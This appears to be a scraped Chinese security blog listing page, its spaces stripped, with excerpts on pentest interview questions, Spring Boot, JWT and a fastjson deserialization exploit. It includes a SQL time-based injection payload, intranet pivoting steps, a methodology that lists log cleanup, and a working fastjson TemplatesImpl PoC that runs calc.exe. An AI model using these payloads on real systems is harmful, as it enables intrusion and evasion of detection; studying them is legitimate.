2020-10-15 10 0
pentest

01.sleep被禁用后还能怎么进行sql注入BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。mysql:AND(SELECTcount(*)FROMinformation_schema.columnsA,information_schema.columnsB,information_schema.SCHEMATAC);02.MySQL的@与@@区别MySQL的@与@@区别@x是用户自定义的变量(Uservariablesarewrittenas@var_name)@@x是global或session变量(@@global@@session).03.HTTP-Only禁止的是JS读取cookie信息,如何绕过这个获取cookieHttpTrace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏04.做了cdn的网站如何获取真实IP多地ping看是否有cdn邮件订阅或者rss订阅二级域名可能不会做cdnnslookuphttp://xxx.com国外dns查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址https://toolbar.netcraft.com/site_report?url=www.xxx.comphpinfo上显示的信息05.web常用的加密算法有什么非对称加密RSA、ElGamal、Rabin对称加密DES、3DES、AES散列算法MD5SHAbase6406.有没有内网渗透的经验?怎么渗透?如果拿下了边界层的某一个机器,如何对内网其他进行探测?拿下机器后内网渗透使用代理访问内网windows环境:reGeorg与proxifierLinux(kali-linux)环境:reGeorg与proxychains,使用nmap等工具进行扫描,发现web服务的主机和其它信息。有时这些边界机器上会记录一些内网服务器上的一些信息(用户sshknown_hostshosts防火墙设置记录、内网之间好多waf规则基本都是空,大多数waf防外部威胁这时候可以拿到探测的内部一些开放的端口判断进行渗透,通常用户这里基本是统一命名的拿到的各种记录会暴露出部分内网通讯的ip07.给你一个网站你是如何来渗透测试1)信息收集,1,获取域名的whois信息,获取注册者邮箱姓名电话等。2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针6,googlehack进一步探测网站的信息,后台,敏感文件2)漏洞扫描开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等3)漏洞利用利用以上的方式拿到webshell,或者其他权限4)权限提升提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysqlsystem提权以及oracle低权限提权5)日志清理6)总结报告及修复方案sqlmap,怎么对一个注入点注入?1)如果是get型号,直接,sqlmap-u“诸如点网址”.2)如果是post型诸如点,可以sqlmap-u“注入点网址”–data=”post的参数”3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap-r“文件地址”nmap,扫描的几种方式08.反序列漏洞序列化跟存文件存数据库一样,持久化存储或传递,序列化是代码运行对象层面的持久化,保存类名和变量值。反序列化操作会对类构造实例,调用readobject恢复属性值,某些类在read中执行额外操作,调用一些方法,寻找能够将初始参数传入执行方法的,对象套对象的利用链形成漏洞。weblogicdubboshirofastjsonstruct2等组件漏洞

2020-8-20 52 0
2020-8-18 60 0
2020-8-12 60 0
java

HelloWorld探究1.POM文件父项目<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.2.RELEASE</version><relativePath/><!--lookupparentfromrepository--></parent>spring-boot-dependencies里面定义了jar包的版本2.导入依赖<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency>spring-boot-starter:场景启动器,web帮我们导入了web模块正常运行的依赖组件SpringBoot将所有的功能场景都抽取出来,做成一个个的starters(启动器),只需要在项目里面引入这些starter相关场景的所有依赖都会导入进来。要用什么功能就导入什么场景的启动器2、主程序类,主入口类@SpringBootApplicationpublicclassDemoApplication{publicstaticvoidmain(String[]args){SpringApplication.run(DemoApplication.class,args);}}@SpringBootApplication:SpringBoot应用标注在某个类上说明这个类是SpringBoot的主配置类,SpringBoot就应该运行这个类的main方法来启动SpringBoot应用;@Target({ElementType.TYPE})@Retention(RetentionPolicy.RUNTIME)@Documented@Inherited@SpringBootConfiguration@EnableAutoConfiguration@ComponentScan(excludeFilters={@Filter(type=FilterType.CUSTOM,classes={TypeExcludeFilter.class}),@Filter(type=FilterType.CUSTOM,classes={AutoConfigurationExcludeFilter.class})})@SpringBootConfiguration:SpringBoot的配置类;标注在某个类上,表示这是一个SpringBoot的配置类;@Configuration:配置类上来标注这个注解;配置类-----配置文件;配置类也是容器中的一个组件;@Component@EnableAutoConfiguration:开启自动配置功能;以前我们需要配置的东西,SpringBoot帮我们自动配置;@EnableAutoConfiguration告诉SpringBoot开启自动配置功能;这样自动配置才能生效;@EnableAutoConfiguration:开启自动配置功能;以前我们需要配置的东西,SpringBoot帮我们自动配置;@EnableAutoConfiguration告诉SpringBoot开启自动配置功能;这样自动配置才能生效;@AutoConfigurationPackage@Import(EnableAutoConfigurationImportSelector.class)public@interfaceEnableAutoConfiguration{@AutoConfigurationPackage:自动配置包@Import(AutoConfigurationPackages.Registrar.class):Spring的底层注解@Import,给容器中导入一个组件;导入的组件由AutoConfigurationPackages.Registrar.class;==将主配置类(@SpringBootApplication标注的类)的所在包及下面所有子包里面的所有组件扫描到Spring容器;==@Import(EnableAutoConfigurationImportSelector.class);给容器中导入组件?EnableAutoConfigurationImportSelector:导入哪些组件的选择器;将所有需要导入的组件以全类名的方式返回;这些组件就会被添加到容器中;会给容器中导入非常多的自动配置类(xxxAutoConfiguration);就是给容器中导入这个场景需要的所有组件,并配置好这些组件;有了自动配置类,免去了我们手动编写配置注入功能组件等的工作;SpringFactoriesLoader.loadFactoryNames(EnableAutoConfiguration.class,classLoader);

安全开发

背景前两天去某公司面试,问到了这个,感觉他们还是比较在意这个的,我直接说不了解,加上还有些其他问题,导致面试的级别到不到想要的薪资,研究了一下。JWTjsonwebtoken,一般用于身份认证(前后端分离项目,APP项目)传统token和JWT区别传统token用户登录,服务端返回token,并将token返回到服务端,用户下次请求时候需要携带token,服务端获取token后再去数据库中检验tokenjwt用户端登录,服务端返回token,服务端不保存,用户下次请求时候需要携带token,服务端检验token优势:相对于传统token,不需要存储到服务端JWT实现过程第一步,用户使用用户密码登录成功,后端服务使用jwt生成一个token返回给用户eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cjwt生成的token由3段字符串组成,由点连接第一段字符串header.内部包含一个算法/token类型json转换为字符串之后base64url加密base64UrlEncode(header)+"."+{"alg":"HS256","typ":"JWT"}第二段字符串payload,自定义值base64UrlEncode(payload),{"sub":"1234567890","name":"JohnDoe","iat":1516239022#过期时间}第三段字符串将1和2部分密文拼接将拼接的密文使用hs256加密+加盐对hs256加密的密文使用bast64url进行加密以后用户再来访问的时候需要校验token获取token对token用点进行切割把第2部分进行base64URl解密并获取paylod,检测超时时间把1,2部分评接再次进行hs256加密+加盐密码=base64(第3部分密码)。相等认证通过

2020-8-3 79 0
java

这个漏洞一直只了解个大概,最近有空深入研究一下JAVA环境javaversion"1.8.0_211"Java(TM)SERuntimeEnvironment(build1.8.0_211-b12)JavaHotSpot(TM)64-BitServerVM(build25.211-b12,mixedmode)建立一个USER类publicclassUser{privateintage;publicStringusername;privateStringsecret;publicintgetAge(){returnage;}publicvoidsetAge(intage){this.age=age;}publicStringgetUsername(){returnusername;}publicvoidsetUsername(Stringusername){this.username=username;}publicStringgetSecret(){returnsecret;}@OverridepublicStringtoString(){returnthis.age+","+this.username+","+this.secret;}}函数作用JSON.toJSONString(Object)将对象序列化成json格式JSON.toJSONString(Object,SerializerFeature.WriteClassName)将对象序列化成json格式,并且记录了对象所属的类的信息JSON.parse(Json)将json格式返回为对象(但是反序列化类对象没有@Type时会报错)JSON.parseObject(Json)返回对象是com.alibaba.fastjson.JSONObject类JSON.parseObject(Json,Object.class)返回对象会根据json中的@Type来决定JSON.parseObject(Json,User.class,Feature.SupportNonPublicField);会把Json数据对应的类中的私有成员也给还原直接用网上的利用POCimportcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclasspocextendsAbstractTranslet{publicpoc()throwsIOException{Runtime.getRuntime().exec("calc.exe");}@Overridepublicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){}@Overridepublicvoidtransform(DOMdocument,com.sun.org.apache.xml.internal.serializer.SerializationHandler[]haFndlers)throwsTransletException{}publicstaticvoidmain(String[]args)throwsException{poct=newpoc();}}编译这个文件,将其内容进行base64编码,用fastjson把对象还原importjava.io.*;importjava.util.HashMap;importjava.util.Map;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.parser.ParserConfig;importorg.apache.commons.io.IOUtils;importorg.apache.commons.codec.binary.Base64;publicclassVultest{publicstaticStringreadClass(Stringcls){ByteArrayOutputStreambos=newByteArrayOutputStream();try{IOUtils.copy(newFileInputStream(newFile(cls)),bos);}catch(IOExceptione){e.printStackTrace();}returnBase64.encodeBase64String(bos.toByteArray());}publicstaticvoidmain(String[]args)throwsUnsupportedEncodingException{ParserConfigconfig=newParserConfig();StringevilCode=readClass("D://code//fastjsonvul//target//classes//Poc.class");finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";Stringtext1="{\"@type\":\""+NASTY_CLASS+"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{},"+"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";Objectobj=JSON.parseObject(text1,Object.class,config,Feature.SupportNonPublicField);}}在excec下断点查看调用

2020-6-29 124 0